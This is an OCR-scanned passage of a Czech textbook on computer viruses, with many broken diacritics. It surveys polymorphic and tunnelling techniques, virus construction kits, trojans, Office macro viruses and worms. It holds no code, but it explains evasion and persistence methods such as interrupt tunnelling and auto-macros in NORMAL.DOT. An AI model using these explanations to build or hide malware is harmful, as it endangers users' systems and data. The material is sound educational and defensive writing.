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o ochrané dat umoZziujici postihovat autory i ifitele virQ. Ve virovém magazinu 40Hex byl v ne-
davné dobé uverejnén i daldi polymorfni generator nazvang EMM - Explosion’s Mutation Ma-
chine slovenského pisatele vird, kterg si fika ,,Vgvojar®. EMM byl uvefejnén v podobé okomen-
tovaného zdrojového tvaru viru Level3, ktery je vylepsenou verzi viru One Half.

Unikatnim néastrojem je SPL — Simple Polymorfic Language, generujici polymorfni viry po-
moci specidlniho programovaciho jazyka postaveného na bazi jazyka C.

[ pfes znaéné rozsifeni zdrojovych tvarti polymorfnich generatort neexistuje adekvatni mnoz-
stvi virli, které citované generatory vyuzivaji. Jednim z divodu je i skutecnost, Ze pfipojeni ge-
neratoru ke konkrétnimu viru neni plné trivialni, coz znaéné redukuje pocet lidi schopnych tu-
to operaci proveést.

Polymorfni generéatory jsou vjhradné pouzivany viry souborovymi. Vzhledem k omezené ve-
likosti a komplikovanosti replikaéni ¢innosti vir bootovacich se zatim polymorfni bootovaci ge-
neratory nevyskytuji. Existuji pouze bootovaci viry s ,jemné* polymorfnimi mechanismy (napf.
virus V-Sign &i Zaraza).

Ridky, aviak realny, je i viskyt virti pouzivajicich vicenasobnou polymorfni ,,obalku*.

Polymorfni viry s sebou pfinesly novou techniku infikace, naznacenou jiz v kapitole vénova-
né souborovym prodluzujicim viraim. Virus Commander Bomber drobi své télo na nékolik &as-
ti, které ndhodné umistuje do infikovaného programu. To velice ztéZuje jeho detekci a znesnad-
nuje skenovaci proces obecné, protoZe skener musi prohledavat cely soubor, coZ je Casove
velice naro¢né. Podobnou techniku provadi i nam dobte znamy One Half.

Netypickgm ptikladem polymorfnich virti jsou dosové polymorfni davkoveé (batch) viry, pro-
kladajici prikazy provadéné davky poznamkami.

3.3.3. Tuneluijici viry

Jsou viry, které se vyznaluji tim, Ze jejich pokusy o zapis na disk nejsou provadény klasickou
cestou pouzitim pfislusnych pferueni (zejména int 13h), ale zplisobem, kdy tyto viry tzv. ,pro-
tuneluji“ fetézy ovladacl zafizeni v paméti; pfipoji se na konec tohoto fetézu a ptimo ovladaji
fadi¢ harddisku. P¥ikladem je opét virus Dir II. Podobnou metodu pouZiva i napt. virus Nomen-
klatura, kter§ pouzitim sluzby 13h preruseni 2th (DOS Multiplex - sluzba Set Disk Interrupt
Handler) zjisti adresu pferu$ovaci rutiny int 13h v ROM-BIOSu (totéz co BIOS, slivko ROM je

(*) Podle sdéleni internetového zurndlu Crypt Newsletter anglicky list ,The Independent v dobé
kondni procesu prezentoval tohoto nezaméstnaného programadtora-samouka naprosto bombastic-
kou charakteristikou: ,,V roce 1969 Neil Armstrong vystoupil na Mésic. Byl to vyjimecni rok pro
cely svét. Ale nikdo tehdy nevénoval prazddnou pozornost narozeni malého chlapce v jednom més-
té severni Anglie. Tento chlapecek byl preduréen vyrist v jednoho z nejvice nechvalné znamych
tutirct pocitacovych virl vSech dob. V roce 1969 se narodil Black Baron!“. I z tohoto pt¥ikladu je
citit snahu sdélovacich prostiedkt ucinit z pocitacovych virti véc mitickou a zcela mimoradnou.
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zde pouzito pouze pro zdiraznéni skutecnosti, Ze se nejedné o praci s paméti typu RAM) a tu-
to pak pouZiva pro ptimé zapisy na disk.

Diky tomuto mechanismu vychéazeji naprazdno antivirové programy na principu kontroly sta-
vu vektorll pfreruseni.

Dalsi variantou tunelujictho mechanismu je moznost zjisténi adresy obsluhy pfislusného pte-
rudeni z tabulky vektori pferuseni (interrupt table), kdy virus na tuto adresu uklada pfesmeéruji-
ci skokovou instrukci jmp na télo své virové obsluhy daného pteruseni s ischovou plivodnich
prepsanych instrukci. Tim je opét zajisténo, Ze nedojde k prepsani adresy vektoru presmeérova-
ného prerudeni a programy hlidajici tabulku vektorti pferuseni opét nic nepoznaji (napf. virus
Terror).

Castym tunelujicim mechanismem je vyuziti krokovactho rezimu procesoru, kdy s kazdou
provedenou instrukci je vyvolana virova krokovaci rutina, jez opét zjistuje vstupni bod danych
prerusovacich rutin ROM-BIOSu (napf. virus One Half).

Tunelovéani je realizovatelné pro jakoukoliv obsluhu pferuseni, vyhradné se vsak pouziva
pouze pro pHmy zapis na disk (int 13h) a volani jadra Dosu (int 21h). Tunelujici mechanismy
se vyskytuji rovnéz v podobé generatort. Nejznaméjsi generator je KRTT (Kohntark’s Recursi-
ve Tunneling Toolkit), ktery kromé citovangch obsluh hledé vstupni bod pro pteruseni sifoviych
sluzeb (int 2ah).

3.3.4. Generické viry

Generickeé viry je skupina pfip. kategorie virQl, kterd se vyznacuje pribuznosti k jiné kmenové
skupiné. Tato skuteCnost plati jak pro souboroveé, tak i pro bootovaci viry. Ve druhém piipadé
pak hovofime o generickych bootovacich virech. P¥ikladem souborové varianty jsou asté od-
vozeniny viru Vienna, jejichZ podoba je pfevazné nerezidentni.

Generické bootovaci viry se vyznaluji zejména standardnim mechanismem nelegélni rezi-
dentni instalace, popsané v &asti vénované bootovacim virim. P¥isludng sled instrukci je napro-
sto charakteristicky a slouzi jako zékladni posloupnost pro identifikaci do té doby neznamého
bootového viru.

3.3.5. Generatory vird

Generéatory virtl plni funkci podparngch prostfedkil pro vytvafeni pocitacovich virlt a umoz-
nuji i naprostym laikiim vytvofit celou §kalu viri novych. To se stava pro pocitatového uzi-
vatele dalsi obrovskou hrozbou. Do doby pfed generétory virl byla pro tvorbu virli nutnosti
velice slugna znalost systémového programovani, ovSem s ptichodem téchto prostfedka zna-
lostni omezeni prestavaji platit a viry v soucasnosti mize tvofit naprosto kazdy, pocinaje kva-
litnimi programatory a bezdomovci konce. Jde o kvalitativné naprosto novy zplisob Sifeni po-
Eitacovych virt.
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Mezi nejznaméjsi virové generatory patfi:

e GENVIR
Pravdépodobné pruni generator z roku 1990, pochéazejici z Francie. Jedné se o demo verzi,
u které autor slibuje, Ze po zaplaceni piislusné castky ziska uzivatel funkéni verzi. Funkéni ver-
ze ale pravdépodobné nebyla nikdy dana do obéhu.

e VCS (Virus Construction Set)
Prvni pokus o generéator virti z roku 1991, vytvofeny v Némecku. Generator viak generuje
pouze jeding druh viru (Manta) a nejedna se tedy o generétor v klasickém slova smyslu.

e VCL (Virus Construction Laboratory)
Komplexni generator s menu rozhranim z roku 1992. Lze zvolit, zda v{sledng virus bude pte-
pisujici & nepfepisujici; umoZiuje rovnéz vytvofit trojské koné & logické bomby, které pak
Ize pridat do dalsich programt. Podporuje i mozZnost jednoduchého kédovéani, primitivni
obrany proti analjze a ladéni ¢ knihovnu definici virovgch efektt (od neskodngch melodii az
po zniceni disku). Velkm nebezpedim je volba vytvofeni okomentovaného zdrojového tvaru
ASM, kter§ umoziuje upravit dale tento virus dle programéatorovich pozadavku.

UNTITLED .UCL —————[ Virus Creation Lahol
= File Effects IMake Configuration

Infect EXE
Infect COM

Go TSR

Stop trace
Encryption
Uirex—Prot
Search type...
Uirulence. ..
Hote...

Obrdzek 10: VCL - zékladni moznosti

o PS-MPC (Phalcon/Skism — Mass Produced Code Generator)
Tento generétor z roku 1992 méa spolecny zéklad jako VCL. Zasadni rozdil je vsak ve sku-
te€nosti, Ze tento generator je distribuovan ve formé zdrojového tvaru jazyka C. Neobsahuje
menu rozhrani, ba co vice, autor ve svém Gvodu jim z pozice pocitatového vzdélance pohr-
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da. Moznosti jsou obdobné jako u VCL, tviirce viru musi specifikovat o jaky virus méa zajem
v konfiguraénim souboru generatoru. Vzhledem k faktu, Ze je dan k dispozici zdrojovy tvar
generéatoru, nastava zde tedy hypotetickd moznost evolu¢niho kroku dale — generatoru gene-
ratort. Dockame se ji?

e IVP (Instant Virus Production Kit)
Dalsi generétor, tentokrat z roku 1992, naprogramovany v Turbo Pascalu verze 7.0. Rov-
néz pouziva konfiguraéni soubor, ve kterém uZivatel mize nadefinovat moznosti infekce
EXE/COM, Trojského koné, adresafového viru, kodovani, obsluhy kritické chyby Dosu, in-
fekce interpretu COMMAND.COM, néhodného prokladani kédu nevyznamnou instrukci nop
¢i pfepisovaci volby.

¢ G2 (G Squared)
Generétor z roku 1993 pochézejici od stejného autora jako v pfipadé generatoru PS-MPC.
Nejedna se viak o odvozeninu tohoto generatoru. Na rozdil od v{3e uvedenych generatora
tento podporuje semi-polymorfni, snadno vylepsitelné, rutiny.

dak je z uvedengch popisti vidét, uz v rukou zdatnégjsiho programéatora se mize generator

virli stat velice nebezpeénym nastrojem ke tvorbé novych virti. Podobné jako u polymorfnich
generatorl véak ani pfimé generatory virti nenasly pfilis velkou odezvu ve virovém podsvéti.

e SkamWerks Labs
Zastupce generatoru makrovird. Umoziuje vytvaret wordové makroviry a makrovirové troj-
ské koné.

4. Virom podobné pocitacové hrozby

Pocitaovy virus neni zdaleka jedinou hrozbou pro uZivatele. Probléem pocitacovich virt je jen
Gzkou podmnozinou celkové problematiky ochrany poéitadovich dat. Nésledujici moZnosti,
virlm nejblizsi, jsou néktergmi z redlngych hrozeb, které mohou uZivatele potkat pfi praci s po-
Citacem.

4.1. Trojské koné

Trojsky ki je program provadéjici jistou nedokumentovanou ¢innost, o které uZivatel nevi a ne-
muZe ji ovlivnit. Ve vét§iné pfipad se jedna o Cinnost destruktivniho charakteru. V souvislosti
s pocitacovymi viry mize trojsky kan slouZit jako idealni prostfedek pro vypusténi viru (nejcasté-
ji bootovaciho ¢ multipartitniho) do okolniho svéta. Trojskg kan (v anglické literatufe uvadény
pod nazvy Trojan & Trojan Horse) neobsahuje Zadnou replika¢ni rutinu; jeho nedokumentovana
¢innost byva vétsinou jednorazova.

Znamym piikladem byl trojsky ki, simulujici sitovou ptihladovaci sekvenci login tak, ze za-
znamenaval pro své Gcely uzivatelské jméno spolu se zadavanym heslem. UZivatel pak obdrzel
informaci o chybné zadaném heslu (coz se preklepem muze obcas ptihodit) a teprve napodru-
hé trojsky kun povolil vlastni pfihlaseni. Tim padem program ziskal moznost pfipojit se k siti se
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vSemi pravy ptislusného uzivatele. Z hlediska ochrany dat je zfejmé, jak obrovskou hrozbou je
v tomto pfipadé zjisténi hesla spravce sité.

V dobé Internetu a 32bitovich Windows musi uZivatel pocitat s hrozbami rozliéného charak-
teru. K nejnebezpelngjsim pitikladiim patti Back Orifice (zvany téz jako Backdoor) — systémova
utilita umoznujici vzdalenou zpravu poéitae prosttednictvim TCP/IP. Tento trojskg kin po
instalaci aplikace sdm o své vili pfebira kontrolu nad pocitatem, kde se instaluje jako serverova
Cast, kterd muze byt volana vzdalenym klientem. Na monitorovaném pocitali nevykazuje zad-
nou ¢innost, jeho pfitomnost nelze zjistit ani ve vypisu béZicich tloh. UZivatel nemé nejmensi
tuSeni, Ze nékdo zvendi miiZze mit plnou kontrolu nad jeho daty.

4.2, Makroviry

Castym dotazem béznych uzivatelit byva, zda se pocitacové viry mohou &ffit prostfednictvim
textovich soubort?

V zadném piipadé nemohou. Zakladni podminkou pro $ifeni viru je nutnost, aby infikovany
soubor byl spustitelng. Textové soubory nejsou v Zzadném piipadé spustitelné a tudiz se virus ne-
muZe jejich prostfednictvim $ifit. Existuji pouze viry, které nespustitelné soubory jistym zpliso-
bem poskozuji. P¥ikladem je virus dBASE, kter§ ni¢i polozky databazovgch soubortit DBF. Mg-
tus Sifeni virtl textovgmi soubory vznikl v minulosti patrné planymi poplachy méné kvalitnich
antivirovich prostfedku, které mylné ,stékaly” i na textova data.

dJistou vgjimku tvofi pouze nize uvedené bomby ANSI, kdy napt. zobrazeni souboru na obra-
zovku miiZe zpUsobit ztratu dat na disku, a naprosto novy zpusob $ifeni ,viru“ prostfednictvim
textovgch dokumentli (avsak v binarnim tvaru) vytvofenych editorem Microsoft Word, kterg se
objevil v roce 1995 — makroviry. Slavko virus je uvedeno v uvozovkach, nebotf je velice disku-
tabilni, zda se jedna o virus v pravém slova smyslu. Jak jiz bylo uvedeno na pocatku knihy, po-
itaovy virus je program Cili posloupnost vykonavatelnych instrukci procesoru, coz v tomto pii-
padé opét neni beze zbytku splnéno. Masovy rozvoj makroviri viak tlaéi odborniky, aby
makroviry zatazovali na zakladni Groven déleni pocitacovich virt.

Makroviry jsou nejaktualngjsim trendem hrozeb podobnych viraim. Hlavnim divodem tohoto
trendu je prosty fakt, Ze viména dokument(i mezi uZivateli je mnohem ¢astéjsi nez vimeéna pro-
gramul. Samotna myslenka makrovirti viak nova neni, je znama jesté davno pred ptichodem Wor-
d a Offich. Pruni zminka se datuje k roku 1989 v souvislosti se spreadsheetem Lotus 123. Ma-
krovirus obecné miize bt hrozbou ve viech aplikacich podporujicich tzv. makrojazyk. Makrojazyk
je interni soubor instrukci dané aplikace, vytvoteny za Gcelem efektivnéjsiho vyuziti pracovniho
prostredi.

Makrovirus je programovy kod vytvoteny prislusngm aplikaénim makrojazykem, kterg mé stej-
nou replikaéni schopnost jako typicky pocitacovy virus. Obrovsky vliv na existenci a popularitu
makrovirli v ramci dané aplikace mé zplsob uloZeni maker. Zatimco napf. AmiPro uklada ma-
kra do samostatného souboru a makroviry jsou zde raritou, Office uklada makra do stejného do-
kumentu s vlastnim textem/tabulkou/prezentaci apod., coZ je pro $ifeni makrovirti idealni. Ma-
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kroviry napadaji celg Office, takZe teréem je nejen Word, ale i Excel, Access a PowerPoint. Kro-
mé jiz uvedenych aplikaci stoji za zminku snad jen Lotus Notes (makrovirus Ramble).

4.2.1. Makroviry a Microsoft Office

Systém je infikovan wordovym makrovirem v okamziku, kdy je editorem nacten infikovang sou-
bor. Od tohoto okamziku jsou infikovany vSechny nové vytvotené textové dokumenty (soubo-
ry *.DOC). Prakticky to znamena, Ze v okamziku otevieni textového dokumentu spusti Word
infikované makro prostfednictvim $ablony, ktera mutize, na rozdil od samotného dokumentu, ma-
kra obsahovat. Klicem jsou tzv. AUTO-makra, ktera jsou spousténa automaticky. Zejména se jed-
na o makro AutoExec $ablony NORMAL.DOT, které je aktivovano s kazdym spusténim Wordu.
Toto makro se nakopiruje do oblasti globalnich maker (Global Macros Area) a definuje ve vétsi-
né pripadu FileSaveAs makro. Je-li pak ukladan na disk libovolng nové vytvoteny dokument (na-
pf. funkci ,Save As"), je uloZen i s virovgm makrem. P¥i skonéeni ¢innosti Wordu jsou globalni
makra automaticky ulozena do systémového DOT-souboru (NORMAL.DOT apod.), &imz ma
makrovirus zajisténo, Ze pfi piistim spusténi Wordu dojde k jeho aktivaci pravé diky DOT-sou-
boru. Populami je i makro AutoOpen aktivované pfi otevieni kazdého dokumentu.

V piipadé Excelu je situace odlisna. V adresafi s Excelem existuje podadresaf nazvany
XLStart, v némz se nachéazeji automatické 3ablony pro list (*.XLT), které jsou automaticky za-
vadény pfi startu Excelu. UloZi-li zde makrovirus své télo, je pfi kazdém startu Excelu aktivovan.
Pokud jde o aktivaci makroviru v ramci aplikace, pak popudy mohou byt riznorodé, od klave-
sovych zkratek aZ po prosty stisk mezerniku (makrovirus Word-Gangsterz).

Moznosti makrovirl jsou omezené. Word napt. neni opravnén provadét konfiguraci pevné-
ho disku ¢ meénit obsah zavadéciho sektoru disku. Makrovirus nemuize v Zzadném pfipadé pro-
vadét pfimé systémové operace. Cilem makrovirti nejsou Gtoky proti dangm aplikaénim progra-
mum, ale proti jejich datovym soubortim.

4.2.2. Problémy vzajemné kompatibility

Dokumenty vytvotené pomoci baliku Microsoft Office pfedpokladaji pfedevsim operaéni systé-
my typu Windows a Macintosh. Na systémech Macintosh je vSak znatné omezena systémové
zaméfena destruktivni ¢innost makrovirti, zejména z divodu rozdilngch konvenci jmen disko-
vich soubort.

Makrojazyky pro makroviry platformy Office jsou:

¢ WordBasic - Word verze 6 a 7
¢ VBA (Visual Basic for Application) — od Excelu verze 5 a Office 97

Existence ruznych makrojazykl pfinasi prvotni problémy s kompatibilitou makrovird mezi
riznymi verzemi aplikace (pfi procesu konverze mezi rizngmi formaty). Obecné plati, Ze ne kaz-
d9 makrovirus lze Gspésné zkonvertovat ze starsi verze do novéjsi. U Excelu je situace jesté za-
jimavéjsi, konvertovat lze oboustranné i z novéjsi verze na starsi. Pfitom je dulezité si uvédomit,
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Ze pii jakékoliv iispésné konverzi navic vznika vlastné aplné novy makrovirus. Moznych variant
nam Microsoft jiz pfinesl nemélo.

Dalsim problémem jsou jazykové verze aplikace. Ve starsich verzich (napt. Word 6) se stej-
na makra jmenovala v rizngch jazykoviych verzich riizné, coZz mélo za nasledek napt., Ze Ceské
makroviry byly nefunkéni v Némecku. Od nastupu Office 97 a makrojazyka VBA vsak toto jiz,
ke zjevné radosti makrovirovch tvircd, neplati. Pokud stary makrovirus neprovadi $ifrovani ne-
bo jiné speciélni funkce, zlistava funkéni i pod novéjsi verzi.

Nemalou roli hraji i programétorské chyby. Napt. makrovirus Word-Rapi, kter§ méa ptvod-
né sedm maker, miize diky chybé poztracet az dvé makra, stale viak se zachovani schopnosti
mnozit se.

V neposledni fadé svoji roli hraje i samotng ndvrh makroviru od prostého napadani daného
typu dokumentu az po aplikaéni multipartitnost. Tak nap¥. makrovirus Sic napada jen dokumen-
ty Excelu verze 5 a vy38i, naproti tomu virus Triplicate jde nap#i¢ Officem 97, kdy pfi vyuzZiti tech-
nologii ActiveX/COM napada vie vytvofené ve Wordu, Excelu a PowerPointu. Aktualni Office
2000 nic zasadniho nepfinasi, forméaty zistavaji az na Access stejné jako ve verzi 97, vée se na-
vic za pomoci XML-tagtl schazi ve formatu HTML. Dobréa zprava pro uzivatele, z hlediska poci-
taCovych virl to vsak mize mit za nasledek citelng narust virt HTML.

4.2.3. Techniky makrovird

Podobné jako u souborovych virti i zde existuji snahy makrovirovich tviircti zabranit zjisténi pti-
tomnosti makroviru na pocitadi. K zékladnim technikam patii:

o Stealth metody
PHimym dusledkem téchto metod je, Ze z prosttedi aplikace nelze spolehlivé zjistit, zda je do-
kument infikovan ¢&i nikoliv. Makroviry nejcast&ji znepiistupiiuji polozku menu Tools/Macro
(Nastroje/Makro), nékteré dokonce maji na tuto polozku napojen sviij replikaéni mechanis-
mus. Makroviry zaloZené na komplikovaném VBA 5 napadaji class moduly (napt. Word 97-
Ethan), své télo ukladaji do virem pojmenovanych objektt a zneviditeliiovat kritickou poloz-
ku menu vibec ke svému maskovani nepotfebuji.

¢ Polymorfni metody
Polymorini varianty makroviri jsou vzacné. Divodem je znalné Casovéa narocnost provadeé-
nych operaci. V néktergch verzich Wordt jsou navic polymorfni akce ptimo viditelné na obra-
zovce. Vlastnim principem je, Ze télo makra je proménné (pfidani fadkt, zmény komentaia,
zmény jmen proménnych apod.).

e Sifrovaci metody
Zasifrovani maker proti modifikaci je dalsi obranou makroviru proti detekci. Sifrovana makra
totiz nemohou byt nejen modifikovana, ale ani zobrazena pomoci polozky menu Tools/Ma-
cro. Pouzije-li makrovirus Sifrovani zajisfované Wordem, neni pro antivirové programy pro-
blém toto nepiilis silné Sifrovani desifrovat a makrovirus detekovat. Otazkou zuistava, zda je
eticke, aby antivirové programy toto deSifrovani provadély. K samotné detekci makrovirt
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slouzi zejména kontrolni souéty téla maker, vyhledavani charakteristického identifika¢niho te-
tézce a heuristicka anal{za.

¢ Jiné metody
Ostatni zplisoby makrovirovgch obran. Mezi nejzajimavéjsi patfi vytvareni falesngch oken
prostfednictvim formularit FRM (Word 97).

4.2.4. Priklady makrovird

¢ Word-DMV
Testovaci makrovirus vytvorengy Joel McNamarou pro studijni G€ely. Po skute¢ném néstupu
makrovirl se autor rozhodl svij vitvor publikovat. Word-DMV pouze demonstruje svoji pii-
tomnost na pocitaci.

¢ Word-Concept
Prvotni skute¢ny makrovirus, jenz neobsahuje Zadnou destruktivni rutinu. Identifikacni makra
jsou AAAZAO, AAAZFS a Payload, jejichz legalni viskyt je malo pravdépodobny. Dalsi pfi-
tomna makra jsou AutoOpen a FileSaveAs. V okam?Ziku otevfeni infikovaného dokumentu
se na obrazovce objevi dialogovy box WinWordu obsahujici fetézec ,,1%.

e Word-Nuclear

Dalsi makrovirus s mnoha destruktivnimi rutinami (nastésti nefunkZnimi). V podstaté se jed-
na o dvojvirus, slozeny z deviti maker: InsertPayload, Payload, DropSuriv, AutoExec, Au-
toOpen, FileSaveAs, FilePrint, FilePrintDefault a FileExit.

Makro Payload se snazi 5.dubna smazat systémové soubory 10.SYS, MSDOS.SYS
a COMMAND.COM. Jelikoz vsak Word nemtize ménit nastaveni souborovich atributi, je ta-
to rutina nefunkéni.

Makro InsertPayload vypisuje na konec tisténého ¢i faxovaného dokumentu nasleduijici dva
fadky:
And finally I would like to say:
STOP ALL FRENCH NUCLEAR TESTING IN THE PACIFIC.

Odtud tedy je odvozen i jeho néazev.

Makro DropSuriv (Suriv je Virus pozpéatku) se pokousi vypustit klasicky pocitacovy virus.
Makrovirus obsahuje debug-skript PH33R.SCR a davkovy soubor EXEC_PH.BAT, ktery je
spustén. Davka provede spusténi systémového programu debug, ktery provede pfiloZzeny
skript. Ten, prostfednictvim pferuSeni Dosu (int 21h), napada vsechny spustitelné soubory
COM, EXE a NewEXE (Windows). Diky syntaktické chybé vsak toto makro nikdy virus ne-
vypusti.

e Word-Colors
Méni systémové nastaveni barev Windows. Obsahuje makra AutoOpen, AutoClose, Au-
toExec, FileNew, FileExit, FileSave, FileSaveAs a ToolsMacro. V3echna tato makra jsou pou-
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ze spustitelné (,,Execute Only*), tj. nemohou byt Wordem ani prohliZzena ani editovana. P¥ipad-
né kolize jmen jiz existujicich maker Word-Colors tesi jejich pfepsanim makry virovgmi.

Makro AutoExec je prazdné se ziejmym Umyslem pouze vytadit z Cinnosti pfipadna anti-
virova makra.

Tim, ze Word-Colors vytvari makra vyvolavana Cinnostmi File/New, File/Save, File/Sa-
veAs, File/Exit a Tools/Macro, zajistuje svoji aktivaci dokonce i tehdy, je-li nastavena volba
vypnuti AUTO maker.

Word-Colors si udrzuje ¢itaé poétu volani makroviru v souboru WIN.INI prosttednictvim
proménné ,,countersu”. Po kazdé t¥isté aktivaci dojde k ndhodné zméné barev nastaveni Win-
dows (textu, pozadi, tlaéitek apod.).

¢ Word-Hot
Prvotni makrovirus vyuZivajici externi funkce, jez umoZziuji makrim Wordu volat libovolné
standardni funkce Windows API. To pfedurcuje jeho Zivotaschopnost v prostfedi Windows
3.Xx a mozna i wyssich.

e Word-Atom

Destruktivni makrovirus, kterg se sklada ze ¢tyt ,,execute-only“ maker: AutoOpen, FileOpen,
FileSaveAs a ATOM. Makro ATOM, jez je aktivovano 13.prosince, maze viechny soubory
v pracovnim adresafi. Je-li makrovirus aktivni, infikuje vSechny dokumenty uloZené prostied-
nictvim ptikazu FileSaveAs nebo oteviené pomoci ptikazu FileOpen. Je-li hodnota sekund
aktualniho ¢asu rovna 13, virus zahesluje dokument heslem ,ATOM#1*“. Heslovani souboru
zpusobi jeho zakédovani, takze jednoduchéa detekce identifikacnim Fetézcem neni mozna.
Word-Atom je obdobou Klasickgch polymorfnich virt.

¢ Word-Xenixos
Netispésny pokus o zdokonaleni vypoustéciho mechanismu binarniho viru makrovirem Word-
Nuclear spolu s mechanismem kédovani dokumentu heslem ,,xenixos®. Zajimavosti je, Ze ten-
to virus byl zaslan do diskusni skupiny alt.comp.virus v tinoru 1996. Tento fakt upozoriiuje na
velkou nebezpeénost makrovirl. Vzhledem ke ziejmé Castgjsi frekvenci pfenosu textovich
soubortli ve srovnani s programy (zejména prostfednictvim e-mailu), jsou makroviry velice ry-
chlym infektorem a tedy dalsi, velice vaznou, virovou hrozbou pocitatovému uzivateli.

¢ AmiPro-Green Stripe
Tento makrovirus infikuje vSechny dokumenty (*.SAM) tak, ze pro kazdy dokument vytvoii
korespondujici AmiPro makro soubor (*.SMM), jenz méa nastaven atribut skrytého souboru.
Tento proces je okamzité patrng, nebot kazdy infikovany dokument je otevien a vzapéti za-
vfen, coZ je patrné pteblikavanim na obrazovce. Destruktivni ¢innosti makroviru je zaména

)

viech vgskytl slova ,its* na ,,it’s".

Tof ptiklady makrovirti z dob jejich pocatkii. Nasledujici priklady ukazuji zejména pestrg smér
destruktivnich innosti.
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e Word-Cap
Ptiklad makroviru schopného prezit i v dokumentu RTF, kterg neni schopen za normélnich
okolnosti nést makra. Makrovirus Cap vsak modifikuje funkci uloZeni souboru tak, aby i ten-
to forméat mél interni strukturu sablony a tim pddem mohl makra obsahovat.

¢ Word-ShareFun

Jeden z prvnich makrovird, jejichZ teréem se stava elektronické posta, resp. jeji klientsky pro-
gram. ShareFun se pokousi poslat sebe sama prostfednictvim pfiloZzeného dokumentu tfem
vybranym adresatim z adreséfe Microsoft Mailu. Adresat je vybizen, aby si pfilozengy doku-
ment urcité precetl. To je zavazny moment v poéitatové komunikaci, nebot uzivatel musi
peclivé provérovat i dokumenty prichazejici z naprosto diivéryhodného zdroje. Pro dokresle-
ni — virus Red Team je schopen podobné ¢&innosti pro baliky postovniho programu Eudora;
MS-DOS/Windows virus Toadie $ifici se pomoci kanalu IRC obdobné zneuziva postovni
klient programu Pegasus Mail.

¢ Word 97-Marker
Makrovirus, jenz pfi spusténi FTP aktivuje skript, kterg zasle autorovi viru informace z disku
napadeného uzivatele.

e Word 97-Caligula

Jeden z nejzékeingj$ich makrovirt, kter§ krade a e-mailem odesila privatni kédovaci klice
PGP klienta napadeného uZivatele.

e Word 97-Cold Ape

Makrovirus zasilajici autorovi viru IP-adresu obéti. Znalost konkrétni IP-adresy je kliGovou za-
leZitosti pro hackerské priniky, bez niz neni hacker schopen svij cil vilbec ,,zaméfit”. Kromé
toho Cold Ape vypousti dalsi virus Happy, napadajici soubory DOC a VBS. Happy si pro-
stfednictvim zépisu do registrit Windows zajisti svoji opétovnou aktivaci po restartu poéitace.
Virus Happy je jednim z p¥ikladt evoluce multipartitnich virtt. Zatimco dosové formy napa-
daji spustitelné programy *.EXE a tabulku rozdéleni pevného disku, novéj§i formy kombinu-
ji 32bitové cile Gtoku — virus Anarchy napada programy a zmifiované dokumenty, virus Na-
vrhar dokumenty a VxD ovladaée apod.

e Word 97-Melissa
Melissa standardnim zplisobem napada $ablonu NORMAL.DOT a prvnim 50 lidem z kaz-
dého adresafe Microsoft Outlook rozesila infikovany dokument. Zaroven nastavuje ochranu
proti makrovirim na nejnizsi troven. Diky kontroverznimu jednozna¢nému digitalnimu pod-
pisu, kterg ptidavaji programy baliku Office do vytvarengych dokumentt (Global Unique Iden-
tifier, urCovany ze sériového &isla sifové karty), doslo k zadrzeni tvirce tohoto viru.

o Excel 97-Papa Copycat
Inspirovan Melissou rozesila 60 lidem infikovang dokument, narozdil od Melissy tak &ini vzdy,
kdyZz dojde k jeho aktivaci. Kromé toho sluzbou ping neustéle zjistuje, je-li k dispozici spoje-
ni na Internet, coz ma Casto za nasledek pad systému.
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¢ AutoCAD 2000-Star
Pruni primitivni makrovirus pro AutoCAD 2000, ktery pro své $ifeni vyZaduje pfili§ mnoho
spolupréace ze strany uzivatele na to, aby se stal redlnou hrozbou. Jeho skuteéng vyznam spo-
¢iva v nastinéni dalsich virovgch moZnosti budoucna.

Elektronickd posta je pouze ryzi prostiedek pro dorucovani dopisti resp. soubord, kte-
ré mohou bit pfipadné zavirovany. Bez pomocného zdsahu uzivatele (pieéteni pfilozené-
ho dokumentu & spusténi programu) vsak v Zadném p¥ipadé nemtize dojit k napadeni uzi-
vatelova pocitade. Rozhodné je v zdjmu uzivatele aby, umoznuje-li to postouni klient,
nemél zapnuty automaticky ndhled nad pfijatym e-mailem, diky némuz muze dojit k ote-
vreni infikovaného dokumentu a tim i aktivaci makroviru.

Odstranéni makrovirli je vétdinou realizovatelné prostfednictvim zruSeni inkriminovangch vi-
rovych maker pomoci ,Tools/Macro/Delete”. Zjistit viak pfitomnost téchto maker muze byt
nebezpeéné, nebot makrovirus mize hlidat i tuto ¢innost, na niz mize reagovat destruktivné.
U maker VBA je situace jesté slozitgjsi, struktura je komplikovanéjsi a makra mohou byt spjata
pfimo s daty dokumentu. Ru¢ni odstranéni virovgch maker nelze rozhodné doporucit, daleko
lepsi je makrovirm ptedchézet. U Wordu 97 a Excelu 97 se poprvé objevila tzv. ,antivirova
ochrana maker®, kterd v okamziku otevirani dokumentu obsahujici makra na tuto skute¢nost
upozorni. Pro uzivatele, kter makra nevyuziva, je toto téméf 100% ochrana pred infikaci. V os-
tatnich pfipadech je nutné dokument provéfit antivirovym programem. Rada makrovirti navic,
dojde-li k jejich aktivaci, tuto antivirovou ochranu maker vypinaji bud’ zneviditelnénim pfislusné
polozky menu nebo pfimo nastavenim v registrech Windows.

4.3. Cervi

Cerv (anglicky worm) je program, kterg neinfikuje spustitelné soubory jako je tomu v piipadé
vir,, ale infikuje systémy tim zptsobem, Ze pomoci pocitacove sité rozsifuje kopie sebe sama
na pripojené pocitae. Tato skuteénost zptsobuje zejména problémy s netimérnym zatiZenim
dané sité a zahlcenim diskového prostoru pfipojengch pocitatovich stanic. Nejzndméjsim Cer-
vem je jiz v{Se popisovany pfipad internetového Cerva z listopadu roku 1988, kterg béhem
dvou dnti nakazil asi 6 000 pocitacl pracujich pod operaénim systémem Unix.

Zakladnim rozdilem mezi virem a ¢ervem je skutecnost, Ze Cerv nepotfebuje ke své Zivotaschop-
nosti zadného hostitele. Zatimco pocitacové viry preZivaji pfedevsim v platformé operaniho systé-
mu MS-DOS, viskyt cervil je visadou rozlehljch siti WAN a platformy internetového protokolu
TCP/IP. Cerv v monouzivatelskych operacnich systémech nemé logické opodstatnani.

Cerviim podobné jsou infiltrace neformalné zvané jako bakteérie (bacterium) a kralik (rabbit).
Oba typy po spusténi kopiruji sebe sama. Baktérie $ifi své kopie jingm uZivatelim a systémim
za UCelem rozsiteni, kralik $ifi své kopie bez omezeni s cilem, na rozdil od baktérie, vyCerpat
dostupné systémové zdroje (Cas procesoru, diskovy prostor apod.). Oznaéeni , kralik” je v tom-
to piipadé velice vistizné.
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Rozvoj Internetu pfinesl novou podobu $ifeni ervli, a to pomoci elektronické posty. Defini-
